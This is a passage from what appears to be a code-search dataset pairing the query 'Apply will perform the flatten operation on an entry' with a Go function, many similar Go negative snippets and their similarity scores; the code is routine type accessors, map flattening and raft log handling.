types.IsDeferredType(rTyp) {\\n\\t\\treturn rTyp\\n\\t}\\n\\tlTyp := b.Left.Type()\\n\\tif types.IsDeferredType(lTyp) {\\n\\t\\treturn lTyp\\n\\t}\\n\\n\\tif types.IsText(lTyp) || types.IsText(rTyp) {\\n\\t\\treturn types.Float64\\n\\t}\\n\\n\\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\\n\\t\\treturn types.Uint64\\n\\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\\n\\t\\treturn types.Int64\\n\\t}\\n\\n\\treturn types.Float64\\n}\",\n \"func (s Spec) Type() string {\\n\\treturn \\\"exec\\\"\\n}\",\n \"func (op *RecoverAccountOperation) Type() OpType {\\n\\treturn TypeRecoverAccount\\n}\",\n \"func (m *UnaryOperatorLen) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\\n\\treturn op.opHTTPData.GetOperationType()\\n}\",\n \"func (m *ToolMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (cmd Command) Type() string {\\n\\treturn cmd.MessageType\\n}\",\n \"func (p RProc) Type() Type { return p.Value().Type() }\",\n \"func (r *Rdispatch) Type() int8 {\\n\\treturn RdispatchTpe\\n}\",\n \"func (m *BinaryOperatorMod) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ReportOverProductionOperation) Type() OpType {\\n\\treturn TypeReportOverProduction\\n}\",\n \"func (e *CustomExecutor) GetType() int {\\n\\treturn model.CommandTypeCustom\\n}\",\n \"func (m *BinaryOperatorAdd) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (n *NotRegexpOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (e *EqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (expr *ExprXor) Type() types.Type {\\n\\treturn expr.X.Type()\\n}\",\n \"func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\\n\\treturn op.opHTTPData.GetOperationType()\\n}\",\n \"func (fn *Function) Type() ObjectType {\\n\\treturn ObjectTypeFunction\\n}\",\n \"func (m *UnaryOperatorNegate) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (fn NoArgFunc) Type() Type { return fn.SQLType }\",\n \"func (e *ExprXor) Type() types.Type {\\n\\treturn e.X.Type()\\n}\",\n \"func (m *BinaryOperatorDiv) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (f *FunctionLike) Type() string {\\n\\tif f.macro {\\n\\t\\treturn \\\"macro\\\"\\n\\t}\\n\\treturn \\\"function\\\"\\n}\",\n \"func (l *LessEqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (execution *Execution) GetType() (execType string) {\\n\\tswitch strings.ToLower(execution.Type) {\\n\\tcase \\\"\\\":\\n\\t\\tfallthrough\\n\\tcase \\\"local\\\":\\n\\t\\texecType = \\\"local\\\"\\n\\tcase \\\"remote\\\":\\n\\t\\texecType = \\\"remote\\\"\\n\\tdefault:\\n\\t\\tpanic(execution)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (g *generator) customOperationType() error {\\n\\top := g.aux.customOp\\n\\tif op == nil {\\n\\t\\treturn nil\\n\\t}\\n\\topName := op.message.GetName()\\n\\n\\tptyp, err := g.customOpPointerType()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tp := g.printf\\n\\n\\tp(\\\"// %s represents a long running operation for this API.\\\", opName)\\n\\tp(\\\"type %s struct {\\\", opName)\\n\\tp(\\\" proto %s\\\", ptyp)\\n\\tp(\\\"}\\\")\\n\\tp(\\\"\\\")\\n\\tp(\\\"// Proto returns the raw type this wraps.\\\")\\n\\tp(\\\"func (o *%s) Proto() %s {\\\", opName, ptyp)\\n\\tp(\\\" return o.proto\\\")\\n\\tp(\\\"}\\\")\\n\\n\\treturn nil\\n}\",\n \"func (m *BinaryOperatorBitOr) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (i *InOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\\n return m.operationType\\n}\",\n \"func (obj *standard) Operation() Operation {\\n\\treturn obj.op\\n}\",\n \"func (f *Function) Type() ObjectType {\\n\\treturn FUNCTION\\n}\",\n \"func (r *Reconciler) Type() string {\\n\\treturn Type\\n}\",\n \"func (f *Filter) GetType() FilterOperator {\\n\\treturn f.operator\\n}\",\n \"func (m *SystemMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (f *Function) Type() ObjectType { return FUNCTION_OBJ }\",\n \"func (r ExecuteServiceRequest) Type() RequestType {\\n\\treturn Execute\\n}\",\n \"func (m *BinaryOperatorOr) Type() Type {\\n\\treturn BoolType{}\\n}\",\n \"func (l *LikeOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\\n\\treturn myOperatingSystemType.Typevar\\n}\",\n \"func (m *OrderproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *BinaryOperatorMult) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (p *createPlan) Type() string {\\n\\treturn \\\"CREATE\\\"\\n}\",\n \"func (m *CarserviceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *CarCheckInOutMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (op *OpRetain) Type() string {\\n\\treturn \\\"retain\\\"\\n}\",\n \"func (m *OrderonlineMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (o *WorkflowCliCommandAllOf) GetType() string {\\n\\tif o == nil || o.Type == nil {\\n\\t\\tvar ret string\\n\\t\\treturn ret\\n\\t}\\n\\treturn *o.Type\\n}\",\n \"func (expr *ExprOr) Type() types.Type {\\n\\treturn expr.X.Type()\\n}\",\n \"func (Instr) Type() sql.Type { return sql.Int64 }\",\n \"func (m *TypeproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (n *NotLikeOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (this *ObjectUnwrap) Type() value.Type {\\n\\n\\t// this is the succinct version of the above...\\n\\treturn this.Operand().Type()\\n}\",\n \"func (m *FinancialMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (p *insertPlan) Type() string {\\n\\treturn \\\"INSERT\\\"\\n}\",\n \"func (m *ResourceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (g *GreaterThanOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (typ OperationType) String() string {\\n\\tswitch typ {\\n\\tcase Query:\\n\\t\\treturn \\\"query\\\"\\n\\tcase Mutation:\\n\\t\\treturn \\\"mutation\\\"\\n\\tcase Subscription:\\n\\t\\treturn \\\"subscription\\\"\\n\\tdefault:\\n\\t\\treturn fmt.Sprintf(\\\"OperationType(%d)\\\", int(typ))\\n\\t}\\n}\",\n \"func (m *HexMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\\n\\tltype, err := b.Left.Type(env)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\trtype, err := b.Right.Type(env)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\ttyp := mergeNumericalTypes(ltype, rtype)\\n\\treturn b.Op.Type(typ), nil\\n}\",\n \"func (m *ZoneproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *StockMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (o *Function) Type() *Type {\\n\\treturn FunctionType\\n}\",\n \"func (m *ManagerMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (l *LessThanOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func GetOperatorType() OperatorType {\\n\\tswitch {\\n\\tcase IsOperatorGo():\\n\\t\\treturn OperatorTypeGo\\n\\tcase IsOperatorAnsible():\\n\\t\\treturn OperatorTypeAnsible\\n\\tcase IsOperatorHelm():\\n\\t\\treturn OperatorTypeHelm\\n\\t}\\n\\treturn OperatorTypeUnknown\\n}\",\n \"func (e REnv) Type() Type { return e.Value().Type() }\",\n \"func (m *CompetenceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (op *GenericOperation) Kind() uint8 {\\n\\t// Must be at least long enough to get the kind byte\\n\\tif len(op.hex) <= 33 {\\n\\t\\treturn opKindUnknown\\n\\t}\\n\\n\\treturn op.hex[33]\\n}\",\n \"func (c *Call) Type() Type {\\n\\treturn c.ExprType\\n}\",\n \"func (n *NullSafeEqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\\n return m.operationType\\n}\",\n \"func (m *PromotiontypeMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *BinaryOperatorSub) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\\n\\treturn querypb.Type_INT32, nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.73397994","0.7331954","0.72103316","0.70835686","0.7061754","0.6980852","0.69322","0.68823165","0.6846249","0.684079","0.68392855","0.6821877","0.67526066","0.6746585","0.674267","0.6730284","0.67165416","0.6710324","0.66475177","0.66334957","0.6620575","0.6574164","0.6569285","0.6566755","0.6549322","0.6531823","0.65267223","0.6524067","0.6494353","0.6476448","0.6455802","0.64514893","0.64397943","0.64392865","0.64281154","0.6419435","0.6413713","0.63886774","0.63807184","0.6375125","0.6373742","0.63721126","0.63579583","0.63417757","0.6332697","0.6328391","0.6324545","0.631497","0.62952644","0.62910163","0.62844765","0.6274955","0.62650305","0.62640405","0.62523085","0.6252087","0.6239459","0.62389636","0.6229541","0.62033015","0.6200374","0.61991316","0.6193402","0.61895406","0.61791986","0.6175558","0.6175285","0.61724573","0.61557966","0.61456096","0.61413467","0.6141278","0.6140642","0.61386997","0.61329275","0.61257845","0.6124157","0.6117993","0.61164016","0.6114104","0.611341","0.6112936","0.6107847","0.6092411","0.6090323","0.6079666","0.6078997","0.607785","0.6074464","0.60626715","0.6057602","0.60575134","0.6047113","0.60389787","0.603745","0.60356474","0.60354406","0.6028229","0.60229194","0.6016492"],"string":"[\n \"0.73397994\",\n \"0.7331954\",\n \"0.72103316\",\n \"0.70835686\",\n \"0.7061754\",\n \"0.6980852\",\n \"0.69322\",\n \"0.68823165\",\n \"0.6846249\",\n \"0.684079\",\n \"0.68392855\",\n \"0.6821877\",\n \"0.67526066\",\n \"0.6746585\",\n \"0.674267\",\n \"0.6730284\",\n \"0.67165416\",\n \"0.6710324\",\n \"0.66475177\",\n \"0.66334957\",\n \"0.6620575\",\n \"0.6574164\",\n \"0.6569285\",\n \"0.6566755\",\n \"0.6549322\",\n \"0.6531823\",\n \"0.65267223\",\n \"0.6524067\",\n \"0.6494353\",\n \"0.6476448\",\n \"0.6455802\",\n \"0.64514893\",\n \"0.64397943\",\n \"0.64392865\",\n \"0.64281154\",\n \"0.6419435\",\n \"0.6413713\",\n \"0.63886774\",\n \"0.63807184\",\n \"0.6375125\",\n \"0.6373742\",\n \"0.63721126\",\n \"0.63579583\",\n \"0.63417757\",\n \"0.6332697\",\n \"0.6328391\",\n \"0.6324545\",\n \"0.631497\",\n \"0.62952644\",\n \"0.62910163\",\n \"0.62844765\",\n \"0.6274955\",\n \"0.62650305\",\n \"0.62640405\",\n \"0.62523085\",\n \"0.6252087\",\n \"0.6239459\",\n \"0.62389636\",\n \"0.6229541\",\n \"0.62033015\",\n \"0.6200374\",\n \"0.61991316\",\n \"0.6193402\",\n \"0.61895406\",\n \"0.61791986\",\n \"0.6175558\",\n \"0.6175285\",\n \"0.61724573\",\n \"0.61557966\",\n \"0.61456096\",\n \"0.61413467\",\n \"0.6141278\",\n \"0.6140642\",\n \"0.61386997\",\n \"0.61329275\",\n \"0.61257845\",\n \"0.6124157\",\n \"0.6117993\",\n \"0.61164016\",\n \"0.6114104\",\n \"0.611341\",\n \"0.6112936\",\n \"0.6107847\",\n \"0.6092411\",\n \"0.6090323\",\n \"0.6079666\",\n \"0.6078997\",\n \"0.607785\",\n \"0.6074464\",\n \"0.60626715\",\n \"0.6057602\",\n \"0.60575134\",\n \"0.6047113\",\n \"0.60389787\",\n \"0.603745\",\n \"0.60356474\",\n \"0.60354406\",\n \"0.6028229\",\n \"0.60229194\",\n \"0.6016492\"\n]"},"document_score":{"kind":"string","value":"0.62861925"},"document_rank":{"kind":"string","value":"50"}}},{"rowIdx":106184,"cells":{"query":{"kind":"string","value":"Apply will perform the flatten operation on an entry"},"document":{"kind":"string","value":"func (op *OpFlatten) Apply(e *entry.Entry) error {\n\tparent := op.Field.Parent()\n\tval, ok := e.Delete(op.Field)\n\tif !ok {\n\t\t// The field doesn't exist, so ignore it\n\t\treturn fmt.Errorf(\"apply flatten: field %s does not exist on body\", op.Field)\n\t}\n\n\tvalMap, ok := val.(map[string]interface{})\n\tif !ok {\n\t\t// The field we were asked to flatten was not a map, so put it back\n\t\terr := e.Set(op.Field, val)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"reset non-map field\")\n\t\t}\n\t\treturn fmt.Errorf(\"apply flatten: field %s is not a map\", op.Field)\n\t}\n\n\tfor k, v := range valMap {\n\t\terr := e.Set(parent.Child(k), v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (f *Flattener) flatten(entry *mapEntry) (*FlattenerPoint, error) {\n\n\tvar flatValue float64\n\n\tswitch entry.operation {\n\n\tcase Avg:\n\n\t\tfor _, v := range entry.values {\n\t\t\tflatValue += v\n\t\t}\n\n\t\tflatValue /= (float64)(len(entry.values))\n\n\tcase Sum:\n\n\t\tfor _, v := range entry.values {\n\t\t\tflatValue += v\n\t\t}\n\n\tcase Count:\n\n\t\tflatValue = (float64)(len(entry.values))\n\n\tcase Min:\n\n\t\tflatValue = entry.values[0]\n\n\t\tfor i := 1; i < len(entry.values); i++ {\n\n\t\t\tif entry.values[i] < flatValue {\n\t\t\t\tflatValue = entry.values[i]\n\t\t\t}\n\t\t}\n\n\tcase Max:\n\n\t\tflatValue = entry.values[0]\n\n\t\tfor i := 1; i < len(entry.values); i++ {\n\n\t\t\tif entry.values[i] > flatValue {\n\t\t\t\tflatValue = entry.values[i]\n\t\t\t}\n\t\t}\n\n\tdefault:\n\n\t\treturn nil, fmt.Errorf(\"operation id %d is not mapped\", entry.operation)\n\t}\n\n\treturn &FlattenerPoint{\n\t\tflattenerPointData: entry.flattenerPointData,\n\t\tvalue: flatValue,\n\t}, nil\n}","func (e Entry) flatten(m map[string]interface{}) {\n\tm[\"message\"] = e.Message\n\tm[\"severity\"] = e.Severity\n\tif e.Trace != \"\" {\n\t\tm[\"logging.googleapis.com/trace\"] = e.Trace\n\t}\n\tif e.Component != \"\" {\n\t\tm[\"component\"] = e.Component\n\t}\n\tif e.Fields != nil {\n\t\tfor k, v := range e.Fields {\n\t\t\tm[k] = v\n\t\t}\n\t}\n}","func (d *dataUsageCache) flatten(root dataUsageEntry) dataUsageEntry {\n\tfor id := range root.Children {\n\t\te := d.Cache[id]\n\t\tif len(e.Children) > 0 {\n\t\t\te = d.flatten(e)\n\t\t}\n\t\troot.merge(e)\n\t}\n\troot.Children = nil\n\treturn root\n}","func (r ApiGetHyperflexConfigResultEntryListRequest) Apply(apply string) ApiGetHyperflexConfigResultEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\n\t// Has entry?\n\tif len(apply.entries) == 0 {\n\t\treturn\n\t}\n\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\n\tfirsti := apply.entries[0].Index\n\tif firsti > gmp.appliedi+1 {\n\t\tlogger.Panicf(\"first index of committed entry[%d] should <= appliedi[%d] + 1\", firsti, gmp.appliedi)\n\t}\n\t// Extract useful entries.\n\tvar ents []raftpb.Entry\n\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\n\t\tents = apply.entries[gmp.appliedi+1-firsti:]\n\t}\n\t// Iterate all entries\n\tfor _, e := range ents {\n\t\tswitch e.Type {\n\t\t// Normal entry.\n\t\tcase raftpb.EntryNormal:\n\t\t\tif len(e.Data) != 0 {\n\t\t\t\t// Unmarshal request.\n\t\t\t\tvar req InternalRaftRequest\n\t\t\t\tpbutil.MustUnmarshal(&req, e.Data)\n\n\t\t\t\tvar ar applyResult\n\t\t\t\t// Put new value\n\t\t\t\tif put := req.Put; put != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[put.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", put.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get key, value and revision.\n\t\t\t\t\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\n\t\t\t\t\t// Get map and put value into map.\n\t\t\t\t\tm := set.get(put.Map)\n\t\t\t\t\tm.put(key, value, revision)\n\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\n\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\t// Set apply result.\n\t\t\t\t\tar.rev = revision\n\t\t\t\t}\n\t\t\t\t// Delete value\n\t\t\t\tif del := req.Delete; del != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[del.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", del.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map and delete value from map.\n\t\t\t\t\tm := set.get(del.Map)\n\t\t\t\t\tif pre := m.delete(del.Key); nil != pre {\n\t\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\n\t\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Update value\n\t\t\t\tif update := req.Update; update != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[update.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", update.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map.\n\t\t\t\t\tm := set.get(update.Map)\n\t\t\t\t\t// Update value.\n\t\t\t\t\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\n\t\t\t\t\tif ok {\n\t\t\t\t\t\t// The revision will be set only if update succeed\n\t\t\t\t\t\tar.rev = e.Index\n\t\t\t\t\t}\n\t\t\t\t\tif nil != pre {\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger proposal waiter.\n\t\t\t\tgm.wait.Trigger(req.ID, &ar)\n\t\t\t}\n\t\t// The configuration of gmap is fixed and wil not be synchronized through raft.\n\t\tcase raftpb.EntryConfChange:\n\t\tdefault:\n\t\t\tlogger.Panicf(\"entry type should be either EntryNormal or EntryConfChange\")\n\t\t}\n\n\t\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\n\t}\n}","func (h *GrayLog) flatten(item map[string]interface{}, fields map[string]interface{}, id string) {\n\tif id != \"\" {\n\t\tid = id + \"_\"\n\t}\n\tfor k, i := range item {\n\t\tswitch i := i.(type) {\n\t\tcase int:\n\t\t\tfields[id+k] = float64(i)\n\t\tcase float64:\n\t\t\tfields[id+k] = i\n\t\tcase map[string]interface{}:\n\t\t\th.flatten(i, fields, id+k)\n\t\tdefault:\n\t\t}\n\t}\n}","func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tif len(oa) == 1 {\n\t\tfor _, v := range oa {\n\t\t\treturn value.NewValue(v), nil\n\t\t}\n\t}\n\n\treturn value.NULL_VALUE, nil\n}","func (a *Add) Apply(data []byte) ([]byte, error) {\n\tinput := convert.SliceToMap(strings.Split(a.Path, \".\"), a.composeValue())\n\tvar event interface{}\n\tif err := json.Unmarshal(data, &event); err != nil {\n\t\treturn data, err\n\t}\n\n\tresult := convert.MergeJSONWithMap(event, input)\n\toutput, err := json.Marshal(result)\n\tif err != nil {\n\t\treturn data, err\n\t}\n\n\treturn output, nil\n}","func (op *OpRetain) Apply(e *entry.Entry) error {\n\tnewEntry := entry.New()\n\tnewEntry.Timestamp = e.Timestamp\n\tfor _, field := range op.Fields {\n\t\tval, ok := e.Get(field)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\terr := newEntry.Set(field, val)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*e = *newEntry\n\treturn nil\n}","func (tree *AcceptTree) Flatten() []*AcceptEntry {\n\tentries := make([]*AcceptEntry, 0, tree.Size)\n\ttree.flattenToTarget(&entries)\n\treturn entries\n}","func (e *Element) Apply(element *Element) {\n\telement.Children = append(element.Children, e)\n}","func (re *raftEngine) entriesToApply(ents []raftpb.Entry) (nents []raftpb.Entry) {\r\n\tif len(ents) == 0 {\r\n\t\treturn\r\n\t}\r\n\tfirstIndex := ents[0].Index\r\n\tif firstIndex > re.appliedIndex+1 {\r\n\t\tlog.ZAPSugaredLogger().Errorf(\"Error raised when processing entries to apply, first index of committed entry [%d] should <= appliedIndex [%d].\", firstIndex, re.appliedIndex)\r\n\t\treturn\r\n\t}\r\n\tif re.appliedIndex-firstIndex+1 < uint64(len(ents)) {\r\n\t\tnents = ents[re.appliedIndex-firstIndex+1:]\r\n\t}\r\n\treturn\r\n}","func (r ApiGetHyperflexSoftwareDistributionEntryListRequest) Apply(apply string) ApiGetHyperflexSoftwareDistributionEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}","func Apply(data []byte, x interface{}) error {\n\trx := reflect.ValueOf(x)\n\tif rx.Kind() != reflect.Ptr || rx.IsNil() {\n\t\treturn ErrNonPointer\n\t}\n\n\tvar patches []Patch\n\terr := json.Unmarshal(data, &patches)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\try := reflect.New(rx.Elem().Type())\n\t// I am making a copy of the interface so that when an\n\t// error arises while performing one of the patches the\n\t// original data structure does not get altered.\n\terr = deep.Copy(x, ry.Interface())\n\tif err != nil {\n\t\treturn ErrCouldNotCopy\n\t}\n\n\tfor _, p := range patches {\n\t\tpath := strings.Trim(p.Path, \"/\")\n\t\terr := rapply(path, &p, ry)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\trx.Elem().Set(ry.Elem())\n\treturn nil\n}","func (this *ObjectInnerValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := removeMissing(arg)\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}","func (r ApiGetHyperflexServerFirmwareVersionEntryListRequest) Apply(apply string) ApiGetHyperflexServerFirmwareVersionEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (*Base) Apply(p ASTPass, node *ast.Apply, ctx Context) {\n\tp.Visit(p, &node.Target, ctx)\n\tp.Arguments(p, &node.FodderLeft, &node.Arguments, &node.FodderRight, ctx)\n\tif node.TailStrict {\n\t\tp.Fodder(p, &node.TailStrictFodder, ctx)\n\t}\n}","func (tree *AcceptTree) flattenToTarget(target *[]*AcceptEntry) {\n\tif tree.Value != nil {\n\t\tif tree.Left != nil {\n\t\t\ttree.Left.flattenToTarget(target)\n\t\t}\n\t\t*target = append(*target, tree.Value)\n\t\tif tree.Right != nil {\n\t\t\ttree.Right.flattenToTarget(target)\n\t\t}\n\t}\n}","func (args Args) AddFlat(v interface{}) Args {\n\trv := reflect.ValueOf(v)\n\tswitch rv.Kind() {\n\tcase reflect.Struct:\n\t\targs = flattenStruct(args, rv)\n\tcase reflect.Slice:\n\t\tfor i := 0; i < rv.Len(); i++ {\n\t\t\targs = append(args, rv.Index(i).Interface())\n\t\t}\n\tcase reflect.Map:\n\t\tfor _, k := range rv.MapKeys() {\n\t\t\targs = append(args, k.Interface(), rv.MapIndex(k).Interface())\n\t\t}\n\tcase reflect.Ptr:\n\t\tif rv.Type().Elem().Kind() == reflect.Struct {\n\t\t\tif !rv.IsNil() {\n\t\t\t\targs = flattenStruct(args, rv.Elem())\n\t\t\t}\n\t\t} else {\n\t\t\targs = append(args, v)\n\t\t}\n\tdefault:\n\t\targs = append(args, v)\n\t}\n\treturn args\n}","func Unflatten(flat map[string]interface{}) (nested map[string]interface{}, err error) {\n\tnested = make(map[string]interface{})\n\n\tfor k, v := range flat {\n\t\ttemp := uf(k, v).(map[string]interface{})\n\t\terr = mergo.Merge(&nested, temp)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\twalk(reflect.ValueOf(nested))\n\n\treturn\n}","func Flatten(toFlatten interface{}) (result interface{}) {\n\ttemp := toFlatten.(map[string]interface{})\n\tif len(temp) > 1 {\n\t\tpanic(\"ndgo.Flatten:: flattened json has more than 1 item, operation not supported\")\n\t}\n\tfor _, item := range temp {\n\t\treturn item\n\t}\n\treturn nil\n}","func (r ApiGetHyperflexVmRestoreOperationListRequest) Apply(apply string) ApiGetHyperflexVmRestoreOperationListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (reading_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\n\tobj := object.(*Reading)\n\tvar offsetValueName = fbutils.CreateStringOffset(fbb, obj.ValueName)\n\tvar offsetValueString = fbutils.CreateStringOffset(fbb, obj.ValueString)\n\n\tvar rIdEventId = obj.EventId\n\n\t// build the FlatBuffers object\n\tfbb.StartObject(9)\n\tfbutils.SetUint64Slot(fbb, 0, id)\n\tfbutils.SetInt64Slot(fbb, 1, obj.Date)\n\tfbutils.SetUint64Slot(fbb, 2, rIdEventId)\n\tfbutils.SetUOffsetTSlot(fbb, 3, offsetValueName)\n\tfbutils.SetUOffsetTSlot(fbb, 4, offsetValueString)\n\tfbutils.SetInt64Slot(fbb, 5, obj.ValueInteger)\n\tfbutils.SetFloat64Slot(fbb, 6, obj.ValueFloating)\n\tfbutils.SetInt32Slot(fbb, 7, obj.ValueInt32)\n\tfbutils.SetFloat32Slot(fbb, 8, obj.ValueFloating32)\n\treturn nil\n}","func Flatten(entries []*Entry) [][]string {\n\tnames := make([]string, 0, len(entries))\n\texecs := make([]string, 0, len(entries))\n\n\tfor _, v := range entries {\n\t\tnames = append(names, v.Name)\n\n\t\tswitch s := strings.Split(v.Exec, \" \"); {\n\t\tcase !strings.HasPrefix(s[0], \"/\") && len(s) == 1 && len(v.Name) > 1:\n\t\t\texecs = append(execs, TrimRight(v.Exec))\n\t\tcase !strings.HasPrefix(s[0], \"/\") && len(s[0]) > 2:\n\t\t\texecs = append(execs, TrimRight(s[0]))\n\t\tdefault:\n\t\t\texecs = append(execs, \"\")\n\t\t}\n\t}\n\n\treturn [][]string{names, execs}\n}","func (r ApiGetBulkExportedItemListRequest) Apply(apply string) ApiGetBulkExportedItemListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (m *TMap) Apply(args ...interface{}) interface{} {\n\tkey := args[0]\n\treturn m.At(key)\n}","func Apply(fn Term, args ...Term) Term {\n\tout := fn\n\tfor _, arg := range args {\n\t\tout = App{Fn: out, Arg: arg}\n\t}\n\treturn out\n}","func (f *Flattener) Flatten(input interface{}, flattened *bson.D) error {\n\tf.flattened = flattened\n\tif f.Separator == nil {\n\t\tf.Separator = &defaultSeparator\n\t}\n\treturn f.flatten(input, \"\")\n}","func (f UnFunc) Apply(ctx context.Context, data interface{}) (interface{}, error) {\n\treturn f(ctx, data)\n}","func (s Schema) Apply(data map[string]interface{}, opts ...ApplyOption) (common.MapStr, error) {\n\tevent, errors := s.ApplyTo(common.MapStr{}, data, opts...)\n\treturn event, errors.Err()\n}","func (r ApiGetHyperflexVmImportOperationListRequest) Apply(apply string) ApiGetHyperflexVmImportOperationListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (s *Storage) Flatten(ctx context.Context, ids []ID, cb func(id ID) error) error {\n\tfor _, id := range ids {\n\t\tmd, err := s.store.Get(ctx, id)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tswitch x := md.Value.(type) 